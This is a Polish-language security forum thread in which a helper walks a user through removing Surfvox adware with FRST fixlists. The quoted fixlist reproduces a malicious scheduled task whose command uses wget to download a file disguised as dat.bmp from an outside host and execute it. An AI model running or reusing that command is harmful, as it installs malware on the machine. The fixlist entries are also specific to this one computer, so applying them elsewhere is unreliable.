Surfvox

Dla specjalistów Bezpieczeństwo
#1

Proszę o pomoc w usunięciu tego dziadostwa

 

FRST

http://www.wklej.org/id/1767851/

Addition

http://www.wklej.org/id/1767853/

#2

Odinstaluj Spybot - Search & Destroy.Otwórz notatnik systemowy i wklej:

CloseProcesses:
Task: {46A70154-E7FA-4549-A8B3-8F97AD5BFD9E} - System32\Tasks\Safer-Networking\Spybot - Search and Destroy\Scan the system => C:\Program Files (x86)\Spybot - Search & Destroy 2\SDScan.exe [2014-06-24] (Safer-Networking Ltd.)
Task: {A70F4D96-6439-4A76-9397-1F4EE8B279DF} - System32\Tasks\Safer-Networking\Spybot - Search and Destroy\Refresh immunization => C:\Program Files (x86)\Spybot - Search & Destroy 2\SDImmunize.exe [2014-06-24] (Safer-
Networking Ltd.)
Task: {AB13FAA8-DB7F-43A7-B305-A709952A0D6D} - \WINshell Event Logging No Task File <==== ATTENTION
Task: {AED6B11B-DC72-4790-8D39-DC211E48E8BE} - System32\Tasks\SYSTEM => cmd.exe /R cd "C:\ProgramData" &amp; ping 1.1.1.1 -n 300 -w 1000 &amp; wget -t 0 --retry-connrefused -O dat.bmp http://grigle.in/index.php?data=T3nFVbKaPC;MMSDTop782_2013Q4.exe;1424973024 &amp; start cmd /R dat.bmp <==== ATTENTION
Task: {BC27151A-1AB9-4D4D-80C3-72F9B0747517} - System32\Tasks\WINshell Event Notification => C:\Users\Plebanov\AppData\Local\Temp\SBCint2.exe <==== ATTENTION
HKLM-x32\...\Run: [SDTray] => C:\Program Files (x86)\Spybot - Search & Destroy 2\SDTray.exe [4101576 2014-06-24] (Safer-Networking Ltd.)
Winlogon\Notify\SDWinLogon-x32: SDWinLogon.dll [X]
HKU\S-1-5-21-2790436831-2200064904-2477483621-1000\...\Run: [SpybotPostWindows10UpgradeReInstall] => C:\Program Files\Common Files\AV\Spybot - Search and Destroy\Test.exe [1011200 2015-07-28] (Safer-Networking Ltd.)
BootExecute: autocheck autochk * sdnclean64.exe
HKU\S-1-5-21-2790436831-2200064904-2477483621-1000\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.surfvox.com/
FF SearchPlugin: C:\Users\Plebanov\AppData\Roaming\Mozilla\Firefox\Profiles\9hxra9j5.default\searchplugins\starter.xml [2015-07-30]
CHR Extension: (Chrome Web Store Payments) - C:\Users\Plebanov\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2015-08-03]
R2 SDScannerService; C:\Program Files (x86)\Spybot - Search & Destroy 2\SDFSSvc.exe [1738168 2014-06-24] (Safer-Networking Ltd.)
R2 SDUpdateService; C:\Program Files (x86)\Spybot - Search & Destroy 2\SDUpdSvc.exe [2088408 2014-06-27] (Safer-Networking Ltd.)
R2 SDWSCService; C:\Program Files (x86)\Spybot - Search & Destroy 2\SDWSCSvc.exe [171928 2014-04-25] (Safer-Networking Ltd.)
U4 klkbdflt2; system32\DRIVERS\klkbdflt2.sys [X]
2015-08-03 15:37 - 2015-08-03 17:16 - 00000000 ____ D C:\ProgramData\Spybot - Search & Destroy
2015-08-03 15:37 - 2015-08-03 15:49 - 00000000 ____ D C:\Program Files (x86)\Spybot - Search & Destroy 2
2015-08-03 15:37 - 2015-08-03 15:37 - 00001402 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Spybot-S&D Start Center.lnk
2015-08-03 15:37 - 2015-08-03 15:37 - 00001390 _____ C:\Users\Public\Desktop\Spybot-S&D Start Center.lnk
2015-08-03 15:37 - 2015-08-03 15:37 - 00000000 ____ D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Spybot - Search & Destroy 2
2015-08-03 15:37 - 2013-09-20 10:49 - 00021040 _____ (Safer Networking Limited) C:\Windows\system32\sdnclean64.exe
2015-07-11 18:01 - 2015-08-03 17:17 - 00002932 _____ C:\Windows\System32\Tasks\{09F0B915-6A16-40BB-99FF-52C4382D5A0D}
EmptyTemp:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST w tym samym folderze.

#3

Dziękuję za pomoc, ale niestety podany sposób nie rozwiązał mojego problemu.

#4

Pokaż nowe logi z FRST.

#5

Addition

http://www.wklej.org/id/1768474/

FRST

http://www.wklej.org/id/1768475/

#6

Otwórz notatnik systemowy i wklej:

Task: {5B12E846-6FA0-4C16-8364-D66A2C277EDE} - \{09F0B915-6A16-40BB-99FF-52C4382D5A0D} No Task File ==== ATTENTION
HKU\S-1-5-21-2790436831-2200064904-2477483621-1000\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.surfvox.com/
FF SearchPlugin: C:\Users\Plebanov\AppData\Roaming\Mozilla\Firefox\Profiles\9hxra9j5.default\searchplugins\starter.xml [2015-07-30]
U4 klkbdflt2; system32\DRIVERS\klkbdflt2.sys [X]

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST w tym samym folderze.

Odinstaluj Chrome zaznaczając usunięcie danych przeglądania.

#7

Teraz wszystko gra.

Fajnie, że są jeszcze pomocni ludzie na tym świecie :stuck_out_tongue:

Dziękuję!